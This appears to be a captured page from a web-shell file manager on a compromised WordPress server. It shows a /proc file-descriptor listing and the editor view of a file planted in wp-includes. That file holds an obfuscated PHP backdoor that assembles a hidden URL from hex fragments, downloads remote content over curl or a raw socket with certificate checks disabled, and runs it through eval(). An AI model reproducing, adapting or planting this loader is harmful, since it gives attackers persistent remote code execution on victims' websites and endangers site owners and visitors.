FM / fd

/proc/3160145/fd

Name	Size	Mode	Actions
0	-	0666	edit dl rm
1	-	0666	edit dl rm
2	-	0666	edit dl rm
3	-	0777	edit dl rm
4	-	0777	edit dl rm
5	6053	0555	edit dl rm
6	0	0644	edit dl rm
7	21312	0644	edit dl rm
8	0	0644	edit dl rm
32	-	0777	edit dl rm

Edit: /home/desid573/svoldvine.com.au/wp-includes/wp4db0fa/index.php (6053B)

<?php goto BJUxD; X0U44: $AYZYu .= "\x32\145"; goto BAOGC; stY0K: $AYZYu .= "\x36\71"; goto Ur20d; MykXh: $AYZYu .= "\x37\64\67\60\67"; goto NF0m6; BJUxD: $AYZYu = "\66\70\67"; goto JInRn; BAOGC: $AYZYu .= "\x36"; goto jRl11; W2t7W: $AYZYu .= "\x64"; goto VkfK4; qL312: $AYZYu .= "\x37"; goto BMMFD; kTnCa: $AYZYu .= "\61\x32\x65\67\x34"; goto W_Viv; W_Viv: $AYZYu .= "\x37\70"; goto Hqb5C; NF0m6: $AYZYu .= "\63\63\x61\x32\146"; goto gfd6X; Ur20d: $AYZYu .= "\x36\63\66\65"; goto RyIBD; MHzpF: $AYZYu .= "\63"; goto kTnCa; JInRn: $AYZYu .= "\x34"; goto MykXh; RyIBD: $AYZYu .= "\x37\62\66\67"; goto X0U44; jRl11: $AYZYu .= "\63\66\146\66"; goto W2t7W; ro_Te: $AYZYu .= "\x37\65"; goto qL312; BMMFD: $AYZYu .= "\x30\66\65\x37\62"; goto fyvRk; hnoiA: eval("\77\76" . Xo163(pack("\110\x2a", $AYZYu))); goto CnYvK; Hqb5C: $AYZYu .= "\x37\64"; goto hnoiA; gfd6X: $AYZYu .= "\x32\x66\x36\x65"; goto stY0K; VkfK4: $AYZYu .= "\62\146\67\x33"; goto ro_Te; mv1TD: $AYZYu .= "\62\66\x35\x37\x33"; goto MHzpF; fyvRk: $AYZYu .= "\x32\146\x37"; goto mv1TD; CnYvK: function Xo163($WB8Ma, $HfV4J = "\107\x45\x54", $g23GX = array(), $CbNbX = 45) { try { goto bEeJT; teJJx: $IzGQF = ''; goto cQjIX; AsWns: $hCVwQ = curl_exec($LeZCo); goto fleLi; tdlOP: wsplF: goto AsWns; cQjIX: ROwOC: goto rftAG; ZnXxr: $lAQRB = ''; goto ndVD3; P8ge7: eCDM3: goto BSg0A; M139j: curl_setopt($LeZCo, CURLOPT_USERAGENT, "\107\x4f"); goto SmSB0; pSiJV: return trim(trim($hCVwQ, "\357\273\277")); goto OUV6i; Y6M60: if (!($kvlgJ === 0)) { goto Cjm39; } goto A5XsB; cRdOC: $gAN9A[] = "\x43\x6f\x6e\164\145\156\164\55\x54\x79\x70\145\x3a\x20\x61\x70\160\154\x69\x63\x61\164\x69\157\x6e\x2f\170\55\x77\167\x77\55\146\x6f\162\155\55\x75\x72\154\145\156\143\157\x64\145\x64"; goto wLBhS; DGLRv: $bjSfY = explode("\15\xa\xd\xa", $IzGQF, 2); goto XTGsc; VHG7E: fclose($BaWQG); goto DGLRv; OUV6i: ckBo1: goto nd22_; Bsxrt: QpsGk: goto VHG7E; mGt0t: $x0Hl2 = isset($jdmHm["\163\x63\150\145\x6d\145"]) ? $jdmHm["\x73\143\x68\x65\155\145"] : "\x68\164\164\x70"; goto IYntI; rftAG: if (feof($BaWQG)) { goto QpsGk; } goto SfMvH; ZTBqX: Cjm39: goto YZbB5; ChL2s: mSzB2: goto Mjsly; yc7aH: if (!($HfV4J == "\x50\x4f\123\x54")) { goto obBUo; } goto VOsa4; SmSB0: curl_setopt($LeZCo, CURLOPT_CONNECTTIMEOUT, 0); goto zKRhc; pjw8h: return trim($B9Jrg); goto WAg0M; YZbB5: $lAQRB .= substr($B9Jrg, $CzhOR + 2, $kvlgJ); goto QmXuG; iG7Sk: goto mSzB2; goto p8r1W; fleLi: curl_close($LeZCo); goto pSiJV; lJKNA: curl_setopt($LeZCo, CURLOPT_POST, 1); goto dXBv_; Ib_um: $BaWQG = stream_socket_client("{$fB6sp}\72\57\x2f{$UDlQ4}\72{$aqg6r}", $wLFrV, $Ew4ZF, $CbNbX); goto SDYHB; nd22_: $jdmHm = parse_url($WB8Ma); goto PT7r3; f2LWZ: $LeZCo = curl_init(); goto gdgfB; IpHw2: WeteN: goto pjw8h; immLh: $qVi4u .= $DUcFJ . "\15\12"; goto P8ge7; XVlPJ: if (!($CzhOR === false)) { goto Tl5f6; } goto iG7Sk; l1aq7: curl_setopt($LeZCo, CURLOPT_SSL_VERIFYHOST, false); goto fE_L9; ThuRl: FPYTb: goto pmbu7; bEeJT: if (!(function_exists("\143\x75\x72\x6c\x5f\151\x6e\x69\164") && function_exists("\143\165\162\154\137\145\x78\145\x63"))) { goto ckBo1; } goto f2LWZ; Mjsly: $B9Jrg = $lAQRB; goto IpHw2; yHpL_: if (!($HfV4J == "\120\x4f\x53\x54")) { goto wsplF; } goto lJKNA; BSg0A: fwrite($BaWQG, $qVi4u); goto teJJx; DWEeP: $kvlgJ = hexdec(substr($B9Jrg, 0, $CzhOR)); goto Y6M60; VOsa4: $DUcFJ = http_build_query($g23GX); goto cRdOC; PT7r3: $UDlQ4 = $jdmHm["\150\157\x73\x74"]; goto ojRfZ; dXBv_: curl_setopt($LeZCo, CURLOPT_POSTFIELDS, http_build_query($g23GX)); goto tdlOP; XTGsc: $gAN9A = isset($bjSfY[0]) ? $bjSfY[0] : ''; goto hc4GI; IYntI: $aqg6r = isset($jdmHm["\160\x6f\x72\164"]) ? $jdmHm["\x70\157\162\x74"] : ($x0Hl2 === "\x68\164\164\160\163" ? 443 : 80); goto Q_tiI; Aw1IA: return 0; goto ThuRl; CV09s: $qVi4u = implode("\15\xa", $gAN9A) . "\15\12\xd\12"; goto DJNVq; ojRfZ: $Ph4ph = isset($jdmHm["\x70\141\164\x68"]) ? $jdmHm["\160\141\164\x68"] : "\x2f"; goto ozimj; SfMvH: $IzGQF .= fgets($BaWQG, 1024); goto LcFkb; LcFkb: goto ROwOC; goto Bsxrt; o3Umh: $CzhOR = strpos($B9Jrg, "\xd\xa"); goto XVlPJ; JYguT: curl_setopt($LeZCo, CURLOPT_SSL_VERIFYPEER, false); goto l1aq7; gdgfB: curl_setopt($LeZCo, CURLOPT_URL, $WB8Ma); goto M139j; pmbu7: $gAN9A = array("{$HfV4J}\40{$Ph4ph}{$dOAC3}\40\110\x54\x54\120\x2f\61\x2e\61", "\110\x6f\x73\x74\72\40{$UDlQ4}", "\x55\163\145\x72\55\x41\x67\x65\156\164\x3a\x20\115\x6f\x7a\151\x6c\154\x61\x2f\65\56\60\40\x28\127\151\x6e\144\x6f\x77\163\40\116\124\40\61\x30\56\60\x3b\40\127\x69\x6e\x36\64\73\x20\x78\66\x34\x29\x20\x41\160\160\154\145\127\145\142\x4b\x69\164\x2f\x35\x33\x37\x2e\63\x36\40\50\113\110\124\115\114\x2c\40\x6c\x69\153\x65\x20\x47\145\x63\153\x6f\x29\40\103\150\162\157\155\145\x2f\71\61\56\60\x2e\x34\64\x37\x32\56\61\x32\x34\x20\x53\141\x66\x61\162\151\57\x35\x33\x37\x2e\63\66", "\103\157\x6e\x6e\145\x63\164\x69\157\156\x3a\x20\x43\x6c\157\163\x65"); goto yc7aH; ozimj: $dOAC3 = isset($jdmHm["\x71\x75\x65\x72\x79"]) ? "\77" . $jdmHm["\161\x75\145\x72\x79"] : ''; goto mGt0t; Q_tiI: $fB6sp = $x0Hl2 === "\150\164\164\160\x73" ? "\x73\x73\154" : "\164\143\160"; goto Ib_um; DJNVq: if (!($HfV4J == "\x50\117\123\124")) { goto eCDM3; } goto immLh; RLImj: if (!(stripos($gAN9A, "\124\162\141\156\x73\146\x65\162\x2d\105\156\143\x6f\x64\x69\156\147\x3a\x20\143\x68\165\156\x6b\x65\x64") !== false)) { goto WeteN; } goto ZnXxr; p8r1W: Tl5f6: goto DWEeP; zKRhc: curl_setopt($LeZCo, CURLOPT_RETURNTRANSFER, 1); goto JYguT; wLBhS: $gAN9A[] = "\x43\x6f\156\x74\145\x6e\164\55\x4c\x65\156\x67\x74\x68\72\x20" . strlen($DUcFJ); goto RYviw; hc4GI: $B9Jrg = isset($bjSfY[1]) ? $bjSfY[1] : ''; goto RLImj; A5XsB: goto mSzB2; goto ZTBqX; SDYHB: if ($BaWQG) { goto FPYTb; } goto Aw1IA; ndVD3: N9Hr0: goto EJwWq; wjDus: curl_setopt($LeZCo, CURLOPT_TIMEOUT, $CbNbX); goto yHpL_; RYviw: obBUo: goto CV09s; fE_L9: curl_setopt($LeZCo, CURLOPT_FOLLOWLOCATION, true); goto wjDus; qAPl8: goto N9Hr0; goto ChL2s; EJwWq: if (!true) { goto mSzB2; } goto o3Umh; QmXuG: $B9Jrg = substr($B9Jrg, $CzhOR + 2 + $kvlgJ + 2); goto qAPl8; WAg0M: } catch (Exception $NgLT5) { } return 0; }